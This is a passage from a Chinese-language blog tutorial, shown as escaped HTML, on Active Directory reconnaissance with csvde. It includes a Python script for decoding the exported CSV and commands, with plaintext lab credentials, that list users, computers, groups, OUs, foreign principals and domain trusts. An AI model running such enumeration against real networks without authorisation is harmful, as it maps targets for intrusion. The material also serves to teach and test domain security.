    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nb"&gt;type&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;content&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="nb"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;content&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;content&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;content&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;hex_parse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hexstr&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;hexstr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;binascii&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;a2b_hex&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hexstr&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;code_convert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hexstr&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;line_parse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;flag&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="c1"&gt;# parse every line with hex&lt;/span&gt;
    &lt;span class="n"&gt;new_line&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;
    &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;temp&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
        &lt;span class="c1"&gt;#跳过时间戳那一列的处理，这里根据自己的实际情况更改i的值&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;temp&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;temp&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;X&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                &lt;span class="n"&gt;temp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;temp&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
                &lt;span class="n"&gt;temp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;hex_parse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;temp&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="ne"&gt;Exception&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;ex&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                &lt;span class="n"&gt;temp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;Parser Error,The error is &lt;/span&gt;&lt;span class="si"&gt;{}&lt;/span&gt;&lt;span class="s2"&gt; .Please go to https://tool.lu/hexstr/ .&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;format&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ex&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="c1"&gt;#windows时间戳处理代码，使用falg标志是否为第一行，避免处理表头&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;flag&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="kc"&gt;False&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;0&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
            &lt;span class="n"&gt;ttttt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
            &lt;span class="n"&gt;ts&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;ttttt&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mi"&gt;10000000&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;11644473600&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="n"&gt;temp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;datetime&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;utcfromtimestamp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ts&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;strftime&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;%Y-%m-&lt;/span&gt;&lt;span class="si"&gt;%d&lt;/span&gt;&lt;span class="s1"&gt; %H:%M:%S&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="c1"&gt;#在每列的值前后加上&amp;quot;是为了后需使用excel处理csv文件时更加方便，因为以,作为分隔符，同时导出的计算机的dn上&lt;/span&gt;
        &lt;span class="c1"&gt;#又带有,，如果没有&amp;quot;将其包围，会导致最终产生的表格内容混乱&lt;/span&gt;
        &lt;span class="n"&gt;temp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;&amp;quot;&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;temp&lt;/span&gt;
        &lt;span class="n"&gt;temp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;temp&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;&amp;quot;&amp;#39;&lt;/span&gt;
        &lt;span class="n"&gt;new_line&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;temp&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="c1"&gt;#print(new_line)&lt;/span&gt;
    &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;,&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;new_line&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;file_write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nb"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;results.csv&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;a+&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;encoding&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;utf-8&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;close&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="vm"&gt;__name__&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;__main__&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;parser&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;argparse&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ArgumentParser&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;description&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Parse the csvde result&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;parser&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;add_argument&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;-f&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;--filename&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;dest&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;filename&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;action&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;store&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                    &lt;span class="n"&gt;help&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;the file to convert&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;parser&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;add_argument&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;-hs&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;--hexstr&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;dest&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;hexstr&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;action&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;store&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                    &lt;span class="n"&gt;help&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;the hex str to decode&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;args&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;parser&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;parse_args&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;filename&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;filename&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;filename&lt;/span&gt;
        &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;filename&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;reader&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;csv&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;reader&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;codecs&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;filename&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;rU&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;utf-16&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
        &lt;span class="c1"&gt;#head_row = next(reader)&lt;/span&gt;
        &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
        &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;reader&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
            &lt;span class="n"&gt;flag&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;False&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                &lt;span class="n"&gt;flag&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;True&lt;/span&gt;
            &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;line_parse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;flag&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="n"&gt;file_write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;hexstr&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;hexstr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;hexstr&lt;/span&gt;
        &lt;span class="n"&gt;res&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;hex_parse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hexstr&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;res&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;在线转换&lt;/h3&gt;
&lt;p&gt;&lt;a href="/theme/css/Convert Hex to UTF8 - Online Hex Tools.html"&gt;在线转换工具&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;根据网上的代码自己修改了一下，可以满足基本需求&lt;/p&gt;
&lt;p&gt;&lt;img alt="asdasdasda" src="https://s2.loli.net/2024/06/14/jhaEkymvB7o6VbX.gif"&gt;&lt;/p&gt;
&lt;h2&gt;导出域内OU信息&lt;/h2&gt;
&lt;p&gt;在powershell中使用如下命令创建出三个OU：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;New-ADOrganizationalUnit -Name IT -Path &amp;quot;DC=uoiysdf,DC=iuodsf,DC=vi&amp;quot;

New-ADOrganizationalUnit -Name Office -Path &amp;quot;OU=IT,DC=uoiysdf,DC=iuodsf,DC=vi&amp;quot;

New-ADOrganizationalUnit -Name HR -Path &amp;quot;DC=uoiysdf,DC=iuodsf,DC=vi&amp;quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;img alt="image-20200811011806153" src="https://s2.loli.net/2024/06/14/Zbu13NSqvP9eck5.png"&gt;&lt;/p&gt;
&lt;p&gt;使用&lt;code&gt;-r&lt;/code&gt;选项设置ldap过滤器，&lt;code&gt;-l&lt;/code&gt;选项指定想要获取的属性，这里我们选择dn和description属性&lt;/p&gt;
&lt;p&gt;这里我们使用&lt;code&gt;objectClass=organizationalUnit&lt;/code&gt;筛选出&lt;code&gt;ou&lt;/code&gt;，起始位置为&lt;code&gt;ou=it,dc=uoiysdf,dc=iuodsf,dc=vi&lt;/code&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;csvde -s 192.168.1.10 -b administrator uoiysdf.iuodsf.vi 43u96tgjirbtgpnk3w4o9-ip -d &amp;quot;ou=it,dc=uoiysdf,dc=iuodsf,dc=vi&amp;quot; -r (objectClass=organizationalUnit) -l dn,description -m -f res.csv -u
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;结果如下：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;DN,(null)
&amp;quot;OU=IT,DC=uoiysdf,DC=iuodsf,DC=vi&amp;quot;
&amp;quot;OU=Office,OU=IT,DC=uoiysdf,DC=iuodsf,DC=vi&amp;quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;由于我们在创建的时候并没有设置description属性，所以是&lt;code&gt;null&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;获取域内所有组的信息&lt;/h2&gt;
&lt;p&gt;将&lt;code&gt;objectClass&lt;/code&gt;的值设置为&lt;code&gt;group&lt;/code&gt;即可，一般用户组的重要属性为&lt;code&gt;dn&lt;/code&gt;、&lt;code&gt;descriptioon&lt;/code&gt;、&lt;code&gt;member&lt;/code&gt;、&lt;code&gt;memberOf&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;导出的结果包含计算机组和用户组&lt;/p&gt;
&lt;h2&gt;导出域内所有计算机信息&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;csvde -s 192.168.65.138 -b administrator adlab.com qwe123... -d &amp;quot;dc=adlab,dc=com&amp;quot; -r (objectClass=computer) -l dn,description -m -f res.csv -u
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;只需要把&lt;code&gt;objectClass&lt;/code&gt;的值改为computer即可&lt;/p&gt;
&lt;h2&gt;使用通配符搜索符合条件的对象&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;csvde -s 192.168.65.139 -b administrator matrix.loc 123qwe,./ -d &amp;quot;dc=matrix,dc=loc&amp;quot; -r &amp;quot;(&amp;amp;(objectClass=computer)(dNSHostName=corp*))&amp;quot; -l dn,operatingSystem -m -f res.csv -u
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;img alt="1600768039526" src="https://s2.loli.net/2024/06/14/HZKkd2b6mUjhzV3.png"&gt;&lt;/p&gt;
&lt;h2&gt;导出域内所有人员信息&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;csvde -s 192.168.65.128 -b administrator adlab.com qwe123... -d &amp;quot;dc=adlab,dc=com&amp;quot; -r &amp;quot;(&amp;amp;(objectcategory=person)(!(objectClass=computer)))&amp;quot; -l dn,description,sAMAccountName,pwdLastSet,lastLogonTimestamp -m -f res.csv -u
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;code&gt;!(objectClass=computer)&lt;/code&gt;用于排除计算机账户&lt;/p&gt;
&lt;h2&gt;枚举外部安全实体（foreignSecurityPrincipal）并在对应域中进行定位&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;C:&lt;span class="se"&gt;\w&lt;/span&gt;indows&lt;span class="se"&gt;\t&lt;/span&gt;emp&lt;span class="se"&gt;\c&lt;/span&gt;svde.exe&lt;span class="w"&gt; &lt;/span&gt;-s&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;192&lt;/span&gt;.168.60.161&lt;span class="w"&gt; &lt;/span&gt;-b&lt;span class="w"&gt; &lt;/span&gt;administrator&lt;span class="w"&gt; &lt;/span&gt;domain2.com&lt;span class="w"&gt; &lt;/span&gt;...qwe123&lt;span class="w"&gt; &lt;/span&gt;-d&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;dc=domain2,dc=com&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-r&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;(objectClass=foreignSecurityPrincipal)&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-l&lt;span class="w"&gt; &lt;/span&gt;Name&lt;span class="w"&gt; &lt;/span&gt;-m&lt;span class="w"&gt; &lt;/span&gt;-f&lt;span class="w"&gt; &lt;/span&gt;C:&lt;span class="se"&gt;\w&lt;/span&gt;indows&lt;span class="se"&gt;\t&lt;/span&gt;emp&lt;span class="se"&gt;\r&lt;/span&gt;es.csv&lt;span class="w"&gt; &lt;/span&gt;-u
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;img alt="1605018217298" src="https://s2.loli.net/2024/06/14/fdHZn1vypj2LBuW.png"&gt;&lt;/p&gt;
&lt;p&gt;在对应域中定位这些安全实体：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;C:&lt;span class="se"&gt;\w&lt;/span&gt;indows&lt;span class="se"&gt;\t&lt;/span&gt;emp&lt;span class="se"&gt;\c&lt;/span&gt;svde.exe&lt;span class="w"&gt; &lt;/span&gt;-s&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;192&lt;/span&gt;.168.60.161&lt;span class="w"&gt; &lt;/span&gt;-b&lt;span class="w"&gt; &lt;/span&gt;administrator&lt;span class="w"&gt; &lt;/span&gt;domain2.com&lt;span class="w"&gt; &lt;/span&gt;...qwe123&lt;span class="w"&gt; &lt;/span&gt;-d&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;dc=domain2,dc=com&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-r&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;objectSid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;S-1-5-4&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-l&lt;span class="w"&gt; &lt;/span&gt;Name,department,description,title,sAMAccountName&lt;span class="w"&gt; &lt;/span&gt;-m&lt;span class="w"&gt; &lt;/span&gt;-f&lt;span class="w"&gt; &lt;/span&gt;C:&lt;span class="se"&gt;\w&lt;/span&gt;indows&lt;span class="se"&gt;\t&lt;/span&gt;emp&lt;span class="se"&gt;\r&lt;/span&gt;es.csv&lt;span class="w"&gt; &lt;/span&gt;-u
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;枚举域内信任关系&lt;/h2&gt;
&lt;p&gt;这个也可以使用dsquery来完成，同样也是使用ldap筛选器，只需要把objectClass的值设置为&lt;strong&gt;trustedDomain&lt;/strong&gt;即可&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;csvde -s 192.168.1.10 -b administrator uoiysdf.iuodsf.vi 43u96tgjirbtgpnk3w4o9-ip -d &amp;quot;dc=uoiysdf,dc=iuodsf,dc=vi&amp;quot; -r (objectClass=trustedDomain) -m -f res.csv -u
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h1&gt;从NETLOGON共享中搜集信息&lt;/h1&gt;
